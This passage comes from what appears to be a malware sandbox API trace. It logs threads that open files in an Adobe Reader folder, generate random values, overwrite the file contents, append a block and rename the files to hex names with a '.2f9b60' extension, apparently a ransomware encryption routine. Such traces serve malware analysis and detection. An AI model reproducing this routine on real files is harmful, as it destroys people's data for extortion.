(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24c20) returned 1 [0186.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18cd0) returned 1 [0186.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x431033e0 [0186.722] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.722] WriteFile (in: hFile=0x834, lpBuffer=0x431033e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33ebf6f0, lpOverlapped=0x0 | out: lpBuffer=0x431033e0*, lpNumberOfBytesWritten=0x33ebf6f0*=0x108, lpOverlapped=0x0) returned 1 [0200.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0200.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0200.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc440 [0200.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc440) returned 1 [0200.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0200.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc440 [0200.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc410 [0200.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc410) returned 1 [0200.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0200.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0200.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d130 [0200.993] sprintf (in: _Dest=0x1ce5d130, _Format="%c%c" | out: _Dest="2f") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d132, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d134, _Format="%c%c" | out: _Dest="bf") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d136, _Format="%c%c" | out: _Dest="87") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d138, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d13a, _Format="%c%c" | out: _Dest="69") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d13c, _Format="%c%c" | out: _Dest="b6") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d13e, _Format="%c%c" | out: _Dest="b2") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d140, _Format="%c%c" | out: _Dest="44") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d142, _Format="%c%c" | out: _Dest="00") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d144, _Format="%c%c" | out: _Dest="e4") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d146, _Format="%c%c" | out: _Dest="65") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d148, _Format="%c%c" | out: _Dest="8d") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d14a, _Format="%c%c" | out: _Dest="48") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d14c, _Format="%c%c" | out: _Dest="7e") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d14e, _Format="%c%c" | out: _Dest="83") returned 2 [0200.993] sprintf (in: _Dest=0x1ce5d150, _Format="%c%c" | out: _Dest="c3") returned 2 [0200.994] sprintf (in: _Dest=0x1ce5d152, _Format="%c%c" | out: _Dest="8a") returned 2 [0200.994] sprintf (in: _Dest=0x1ce5d154, _Format="%c%c" | out: _Dest="cb") returned 2 [0200.994] sprintf (in: _Dest=0x1ce5d156, _Format="%c%c" | out: _Dest="64") returned 2 [0200.994] sprintf (in: _Dest=0x1ce5d158, _Format="%c%c" | out: _Dest="c8") returned 2 [0200.994] sprintf (in: _Dest=0x1ce5d15a, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.994] RtlInitAnsiString (in: DestinationString=0x33ebf768, SourceString="2f7cbf875a69b6b24400e4658d487e83c38acb64c8c1" | out: DestinationString="2f7cbf875a69b6b24400e4658d487e83c38acb64c8c1") [0200.994] RtlAnsiStringToUnicodeString (in: DestinationString=0x33ebf738, SourceString="2f7cbf875a69b6b24400e4658d487e83c38acb64c8c1", AllocateDestinationString=1 | out: DestinationString="2f7cbf875a69b6b24400e4658d487e83c38acb64c8c1") returned 0x0 [0200.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce157d0 [0200.995] wcscat (in: _Dest=0x431896c0, _Source="2f7cbf875a6" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2f7cbf875a6") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2f7cbf875a6" [0200.995] wcscat (in: _Dest=0x431896c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2f7cbf875a6.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2f7cbf875a6.2f9b60" [0200.995] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2f7cbf875a6.2f9b60", NtPathName=0x33ebf710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2f7cbf875a6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314aba0 Thread: id = 2602 os_tid = 0x2114 [0156.476] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.pol")) returned 0x20 [0156.476] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.POL", dwFileAttributes=0x20) returned 1 [0156.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.pol"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x650 [0156.477] GetFileSizeEx (in: hFile=0x650, lpFileSize=0x339bfd20 | out: lpFileSize=0x339bfd20*=8192) returned 1 [0156.477] SetFilePointerEx (in: hFile=0x650, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.478] ReadFile (in: hFile=0x650, lpBuffer=0x339bfca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x339bfce8, lpOverlapped=0x0 | out: lpBuffer=0x339bfca0*, lpNumberOfBytesRead=0x339bfce8*=0x4, lpOverlapped=0x0) returned 1 [0158.926] SetFilePointerEx (in: hFile=0x650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1f40 [0158.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1fd0 [0158.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2000 [0158.927] NtQuerySystemTime (in: CurrentTime=0x339bfbe0 | out: CurrentTime=0x339bfbe0*=132462177640570000) returned 0x0 [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x1ebe1fc6 [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x5ff3867d [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x5bd3ecef [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x21413352 [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x4bb3d670 [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x5db20e49 [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x36fd8c70 [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x609d7d75 [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x65173530 [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x3837e360 [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x851b968 [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x5abb906 [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x296a63fb [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x21ee4a8c [0158.927] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x77e52c95 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x1684f818 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x70363b22 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x72f0ef0f [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x2d5aebd9 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x6ee8d69d [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x5049aa4 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x109107e1 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x10107da1 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x40debf2a [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x15465c07 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x35e95bcb [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x36d6ca2 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x4f9bcab3 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x7dc24fa4 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x18e3e949 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x57a67ba6 [0158.928] RtlRandomEx (in: Seed=0x339bfbd0 | out: Seed=0x339bfbd0) returned 0x27c1b63e [0158.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2030 [0158.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307c00 [0158.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2060 [0158.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307c00) returned 1 [0158.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2000) returned 1 [0158.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1f40) returned 1 [0158.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd90 [0158.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307c00 [0158.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1f40 [0158.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1f40) returned 1 [0158.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b7ced0 [0158.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b80ae0 [0158.941] ReadFile (in: hFile=0x650, lpBuffer=0x42b7ced0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x339bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x42b7ced0*, lpNumberOfBytesRead=0x339bfbd0*=0x2000, lpOverlapped=0x0) returned 1 [0159.695] SetFilePointerEx (in: hFile=0x650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.695] WriteFile (hFile=0x650, lpBuffer=0x42b80ae0, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x339bfbd4, lpOverlapped=0x0) [0186.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca130 [0186.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca160 [0186.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca160) returned 1 [0186.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b80ae0) returned 1 [0186.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b7ced0) returned 1 [0186.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307c00) returned 1 [0186.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd90) returned 1 [0186.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca160 [0186.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd90 [0186.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307c00 [0186.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca190 [0186.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca190) returned 1 [0186.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca190 [0186.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca1c0 [0186.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca1f0 [0186.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca1f0) returned 1 [0186.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307c00) returned 1 [0186.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd90) returned 1 [0186.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43102a50 [0186.554] SetFilePointerEx (in: hFile=0x650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.554] WriteFile (in: hFile=0x650, lpBuffer=0x43102a50*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x339bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x43102a50*, lpNumberOfBytesWritten=0x339bfcf0*=0x108, lpOverlapped=0x0) returned 1 [0200.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0200.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d332c0 [0200.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d332c0) returned 1 [0200.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d260 [0200.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d332c0 [0200.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33290 [0200.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33290) returned 1 [0200.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0200.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d0b0 [0200.813] sprintf (in: _Dest=0x1ce5d0b0, _Format="%c%c" | out: _Dest="47") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0b2, _Format="%c%c" | out: _Dest="2e") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0b4, _Format="%c%c" | out: _Dest="a0") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0b6, _Format="%c%c" | out: _Dest="78") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0b8, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0ba, _Format="%c%c" | out: _Dest="94") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0bc, _Format="%c%c" | out: _Dest="c0") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0be, _Format="%c%c" | out: _Dest="64") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0c0, _Format="%c%c" | out: _Dest="a9") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0c2, _Format="%c%c" | out: _Dest="31") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0c4, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0c6, _Format="%c%c" | out: _Dest="a6") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0c8, _Format="%c%c" | out: _Dest="41") returned 2 [0200.813] sprintf (in: _Dest=0x1ce5d0ca, _Format="%c%c" | out: _Dest="19") returned 2 [0200.814] sprintf (in: _Dest=0x1ce5d0cc, _Format="%c%c" | out: _Dest="66") returned 2 [0200.814] sprintf (in: _Dest=0x1ce5d0ce, _Format="%c%c" | out: _Dest="32") returned 2 [0200.814] sprintf (in: _Dest=0x1ce5d0d0, _Format="%c%c" | out: _Dest="df") returned 2 [0200.814] sprintf (in: _Dest=0x1ce5d0d2, _Format="%c%c" | out: _Dest="82") returned 2 [0200.814] sprintf (in: _Dest=0x1ce5d0d4, _Format="%c%c" | out: _Dest="36") returned 2 [0200.814] sprintf (in: _Dest=0x1ce5d0d6, _Format="%c%c" | out: _Dest="38") returned 2 [0200.814] sprintf (in: _Dest=0x1ce5d0d8, _Format="%c%c" | out: _Dest="e2") returned 2 [0200.814] sprintf (in: _Dest=0x1ce5d0da, _Format="%c%c" | out: _Dest="fd") returned 2 [0200.814] RtlInitAnsiString (in: DestinationString=0x339bfd68, SourceString="472ea0784e94c064a931cfa641196632df823638e2fd" | out: DestinationString="472ea0784e94c064a931cfa641196632df823638e2fd") [0200.814] RtlAnsiStringToUnicodeString (in: DestinationString=0x339bfd38, SourceString="472ea0784e94c064a931cfa641196632df823638e2fd", AllocateDestinationString=1 | out: DestinationString="472ea0784e94c064a931cfa641196632df823638e2fd") returned 0x0 [0200.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a0fa0 [0200.815] wcscat (in: _Dest=0x42c31e90, _Source="472ea0784e9" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\472ea0784e9") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\472ea0784e9" [0200.815] wcscat (in: _Dest=0x42c31e90, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\472ea0784e9.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\472ea0784e9.2f9b60" [0200.815] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\472ea0784e9.2f9b60", NtPathName=0x339bfd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\472ea0784e9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x431ee5e0 [0243.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ee5e0) returned 1 [0243.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43200df0) returned 1 [0243.643] NtQueryInformationFile (in: FileHandle=0x650, IoStatusBlock=0x339bfd78, FileInformation=0x339bfd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x339bfd78, FileInformation=0x339bfd88) returned 0x0 [0243.643] NtSetInformationFile (FileHandle=0x650, IoStatusBlock=0x339bfd78, FileInformation=0x339bfd88, Length=0x28, FileInformationClass=0x4) Thread: id = 2603 os_tid = 0x2118 [0156.488] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ptb")) returned 0x20 [0156.489] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB", dwFileAttributes=0x20) returned 1 [0156.489] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ptb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6ec [0156.490] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0x3414fd80 | out: lpFileSize=0x3414fd80*=7680) returned 1 [0156.490] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.490] ReadFile (in: hFile=0x6ec, lpBuffer=0x3414fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3414fd48, lpOverlapped=0x0 | out: lpBuffer=0x3414fd00*, lpNumberOfBytesRead=0x3414fd48*=0x4, lpOverlapped=0x0) returned 1 [0158.974] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2510 [0158.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2540 [0158.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2570 [0158.975] NtQuerySystemTime (in: CurrentTime=0x3414fc40 | out: CurrentTime=0x3414fc40*=132462177641038000) returned 0x0 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x54df03e8 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x7d74024d [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x2320004d [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x7fb8a20f [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x4b2f3711 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x72b89e6e [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x715f55bb [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x78d323e5 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x76d75806 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x6231564f [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x20cd28a1 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x3ff9989e [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x3b7ed47b [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x24d1900c [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0xf421539 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0xfa73264 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x67e0e2ef [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x3b583170 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x5dab4890 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x48a0652b [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x789f3b7e [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0xf8ff361 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x61d8fe38 [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x4fb41c0e [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x3c3a469c [0158.975] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x4ef8d7a3 [0158.976] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x7280d642 [0158.976] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0xfb8440e [0158.976] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x4fa2e046 [0158.976] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x3f5c006b [0158.976] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x3e3a1e6d [0158.976] RtlRandomEx (in: Seed=0x3414fc30 | out: Seed=0x3414fc30) returned 0x7737d9be [0158.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb25a0 [0158.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307d00 [0158.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb25d0 [0158.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307d00) returned 1 [0158.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2570) returned 1 [0158.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2510) returned 1 [0158.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bde0 [0158.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307d00 [0158.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2510 [0158.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2510) returned 1 [0158.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4268e500 [0158.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42692110 [0158.986] ReadFile (in: hFile=0x6ec, lpBuffer=0x4268e500, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x3414fc30, lpOverlapped=0x0 | out: lpBuffer=0x4268e500*, lpNumberOfBytesRead=0x3414fc30*=0x1e00, lpOverlapped=0x0) returned 1 [0159.307] SetFilePointerEx (in: hFile=0x6ec, 